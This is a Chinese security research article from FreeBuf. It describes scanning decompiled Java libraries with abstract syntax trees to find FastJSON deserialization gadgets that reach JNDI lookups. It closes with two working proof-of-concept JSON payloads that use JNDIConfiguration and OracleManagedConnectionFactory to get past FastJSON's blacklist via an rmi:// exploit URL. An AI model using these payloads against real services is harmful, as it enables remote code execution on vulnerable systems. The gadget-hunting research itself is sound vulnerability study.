抽象语法树分析寻找FastJSON的Gadgets – 作者:淡蓝色de忧伤

0×01引言

在计算机科学中,抽象语法树是源代码语法结构的一种抽象表示,它以树状的形式表现编程语言的语法结构,树上的每个节点都对应为源代码中的一种语法结构。抽象语法树可以说是静态代码分析中最常用的,也是最核心的技术之一,通过抽象语法树可以很方便构建模型,判断源码中是否存在缺陷特征。

本文简单构建了一个判断模型,去尝试寻找FastJSON 的gadgets。

0×02前置知识

FastJSON 是阿里开源的由Java语言编写的高性能JSON库,目前在国内大范围的使用。FastJSON 在版本小于1.2.25时存在反序列化漏洞,可以利用造成远程代码执行。而最近又报出版本小于1.2.48时存在修复绕过,已知多个国内Top N的互联网公司均出现该漏洞导致的web入侵事件。

FastJSON的反序列化漏洞从功能上讲是因为FastJSON允许将json字符串直接转化成java对象,这个功能通常被称为反序列化。而FastJSON 在反序列化时,也就是由json字符串生成java对象的时候会执行目标类的构造函数,set开头的方法,get开头的方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值,这就及其容易造成RCE。

1.2.25版本以后,FastJSON 增加了一个checkAutoType 方法,用来防御反序列化漏洞,其防御理念可以总结为:

新增autotype设置,用来配置是否允许反序列化任意类, 默认关闭。

新增黑名单检查,在黑名单中的类都不允许反序列化。

这样防御理念也意味着,如果用户开启了autotype设置,我们只需要找到一个不在FastJSON黑名单中的类,就同样可能实施攻击。事实上黑名单的防御方式,通常来说都靠谱,每过一段时间就会报出绕过。比如最近就爆出的两个不在黑名单的类可以实现RCE。

ch.qos.logback.core.db.JNDIConnectionSource

com.zaxxer.hikari.HikariConfig

这两个类都是使用了JNDI 注入技术实现RCE,其漏洞触发特征是相当明显的。比如com.zaxxer.hikari.HikariConfig类的触发点就只有两句java代码。

Clipboard Image.png

简单的来说就是一个可控变量作为InitialContext类下lookup方法的参数,就可以实现RCE。

(关于JNDI注入实现远程代码执行的细节问题,不是本文关注的重点,有兴趣的同学可以去查看:深入理解JNDI注入与Java反序列化漏洞利用 – FreeBuf专栏·安全引擎

既然特征非常明显,会不会有其他类也和HikariConfig类一样可以帮助我们实现RCE?现在我们就来尝试下去寻找下这个类。

0×03寻踪

我们整理下工作思路:

反编译不在FastJSON黑名单中的jar包,生成java源码文件。

由java源码文件生成AST语法树。

对语法树进行条件判断,筛选出符合条件的类。

尝试构造poc。

反编译代码

这里我们主要工作是把本地maven的缓存目录 ~/.m2/repository下缓存的jar包去重后,全部进行反编译。在这里我们可以依据jar包路径判断下java 包在不在FastJSON 黑名单中,对于在黑名单中的jar 包就没必要进行反编译了(后来发现这个判断似乎不是很靠谱,会有误判和漏判,但在可接受的范围内)。

反编译使用FernFlower,这是一个命令行的下java反编译工具,可以很轻松的实现jar的完整反编译。

反编译命令如下:

 java -jar fernflower.jar jarToDecompile.jar decomp/

(其中jarToDecompile.jar是需要反编译的jar文件,decomp是反编译后的生成文件所存放的目录)

该命令执行完后,会在decomp目录生成一个jarToDecompile.jar的文件,直接使用unzip 命令解压这个生成的文件,即可看见源码。

def decomplier(file):
    """
    反编译
    :param file:
    :return:
    """
    cmd = "java -jar ~/tools/FernFlower.jar " + file + "  /Users/xxxxxxx/source/   > /dev/null 2>&1"
    os.system(cmd)

    jar_file_name = file.split('/')[-1]
    jar_file_path = "/Users/xxxxxxx/source/" + jar_file_name

    target_dir = jar_file_name.split('.')[:-1]
    source_dir = '.'.join(target_dir)
    source_dir = '/Users/xxxxxxx/source/' + source_dir
    unzip_cmd = "unzip " + jar_file_path + " -d " + source_dir + " > /dev/null 2>&1"
    os.system(unzip_cmd)
    return source_dir

值得注意的是FastJSON 在1.2.41 版本后将黑名单改成hash的形式,不再以明文展示。那么,我们怎么能获取到原始的黑名单呢?这里需要借助大牛的工作成果,fastjson-blacklist这个项目实现了暴破FastJSON黑名单hash原文的功能,并且共享出已经爆破出来的黑名单原文。

生成AST语法树

这里的目标是把反编译生成的源文件解析成抽象语法树的形式。

python中生成java语法树的库叫javalang,它能很方便的生成java的抽象语法树。

安装命令:

pip install javalang

使用javalang生成java语法树非常方便,仅仅只需要两行代码。

import javalang
tree = javalang.parse.parse("package javalang.brewtab.com; class Test {}")

生成的语法树如下图所示:

Clipboard Image.png

javalang 会将每一种语法结构都映射为一个类对象。从上图可以看出,整个源文件被映射成CompilationUnit对象,它有package、imports和types 3个主要属性,分别表示包名信息,导入类信息,以及源码文件中的类型声明。同时这个三个属性也是被抽象为相应的类对象。比如包名信息被抽象为PackageDeclaration对象,类声明被映射为ClassDeclaration 对象。

同理,ClassDeclaration对象的各个属性也代表了源码文件中的类声明的各个结构信息,例如annotations属性记载了源码中类上的注解信息,extends属性记载了源码文件中类的继承信息,implements记载了源码文件中类的实现接口情况,其他属性类似。

了解语法树的大致结构后,我们就可以通过比较抽象语法树节点的各个属性,来判断目标类是否符合判断条件了。

条件判断

这一步是最关键的,把源文件进行条件筛选,找出目标类。

首先进行是初步筛选,初步筛选直接采用字符串比较或者正则表达式进行,是最快速也是最有效的筛选方式。对于这个案例我们初步筛选的条件定为目标文件中是否存在InitialContext字符串,对于没有包含JNDI注入中关键类InitialContext的文件没必要进行语法树判断。

# 字符串判断快速过滤
if "InitialContext(" not in _contents:
    return False

接下来是在语法树上类层面的判断,FastJSON的checkAutoType方法对反序列化的类有三点限制:

1、不能继承 Classloader。

2、不能实现 DataSource 和 RowSet 接口。

3、必须有一个无参的构造函数。

类结构被javalang抽象成ClassDeclaration对象,而我们需要做的就是判断ClassDeclaration对象相应的属性是否满足条件

def get_class_declaration(root):
    """
    筛选出符合条件的类
    :param root:
    :return:
    """
    class_list = []
    black_interface = ("DataSource", "RowSet")
    for node in root.types:
        # 非类声明都不分析
        if isinstance(node, ClassDeclaration) is False:
            continue
        # 判断是否继承至classloader
        if node.extends is not None and node.extends.name == "ClassLoader":
            continue
        # 判断是否实现被封禁的接口
        interface_flag = False
        if node.implements is None:
            node.implements = []
        for implement in node.implements:
            if implement.name in black_interface:
                interface_flag = True
                break
        if interface_flag is True:
            continue
        # 判断是否存在无参的构造函数
        constructor_flag = False
        for constructor_declaration in node.constructors:
            if len(constructor_declaration.parameters) == 0:
                constructor_flag = True
                break
        if constructor_flag is False:
            continue
        class_list.append(node)
    return class_list

最后,我们还需要判断类方法中是否调用了lookup 方法,并且需要lookup方法的参数是变量。

在语法树中函数声明被抽象为MethodDeclaration对象,函数调用被抽象成MethodInvaction对象,那么判断是否调用lookup方法就很简单了,我们只需要深度优先遍历整个MethodDeclaration对象的各个子节点,判断节点的类型是不是MethodInvaction,以及被调用的函数名是不是lookup就行。判断lookup的变量是否可控就比较复杂了,涉及数据流分析,不过在这里我们可以简化逻辑,认为类的属性和方法的入参都是可控变量。代码如下:

def ack(method_node):
    """
    1、是否调用的lookup 方法,
    2、lookup中参数必须是变量
    3、lookup中的参数必须来自函数入参,或者类属性
    :param method_node:
    :return:
    """
    target_variables = []
    for path, node in method_node:
        # 是否调用lookup 方法
        if isinstance(node, MethodInvocation) and node.member == "lookup":
            # 只能有一个参数。
            if len(node.arguments) != 1:
                continue
            # 参数类型必须是变量,且必须可控
            arg = node.arguments[0]
            if isinstance(arg, Cast):    # 变量 类型强转
                target_variables.append(arg.expression.member)
            if isinstance(arg, MemberReference):  # 变量引用
                target_variables.append(arg.member)
            if isinstance(arg, This):       # this.name, 类的属性也是可控的
                return True
    if len(target_variables) == 0:
        return False
    # 判断lookup的参数,是否来自于方法的入参,只有来自入参才认为可控
    for parameter in method_node.parameters:
        if parameter.name in target_variables:
            return True
    return False

0×04结果

笔者一共反编译了487个jar包,生成5w+源文件,经过脚本分析后一共命中4个类中的5个方法。如下:

source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java containsKey

source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java getProperty

source/HikariCP-3.3.1/com/zaxxer/hikari/HikariConfig.java getObjectOrPerformJndiLookup

source/ojdbc14-10.2.0.2/oracle/jdbc/connector/OracleManagedConnectionFactory.java setupXADataSource

source/xalan-2.7.2/org/apache/xalan/lib/sql/JNDIConnectionPool.java findDatasource

经过测试,命中的4个文件都是可以利用的。不过其中HikariConfig类就是前文提到的类,在最新版本被加入黑名单,JNDIConnectionPool类在42版本前就被加入黑名单了。另外的两个类JNDIConfiguration和 OracleManagedConnectionFactory都可以构造出攻击poc,且尚未被加入黑名单。

JNDIConfiguration POC:

   static void fastjson(){
        String json;
        json = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1389/Exploit\"}";
        Object object = JSON.parseObject(json);
        System.out.println("type:"+ object.getClass().getName() +" "+ object);
    }

Clipboard Image.png

OracleManagedConnectionFactory POC:

  static void fastjson(){
        String json;
        json = "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://127.0.0.1:1389/Exploit\"}";
        Object object = JSON.parseObject(json);
        System.out.println("type:"+ object.getClass().getName() +" "+ object);
    }

Clipboard Image.png

本文相关的代码上传至github: fastjson_gadgets_scanner

0×05参考文章

https://srcincite.io/blog/2019/08/07/attacking-unmarshallers-jndi-injection-using-getter-based-deserialization.html

https://b1ue.cn/archives/201.html

https://the.bytecode.club/fernflower.txt

*本文原创作者:淡蓝色de忧伤,本文属于FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2019-09-16 10:00:19 by: 淡蓝色de忧伤

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论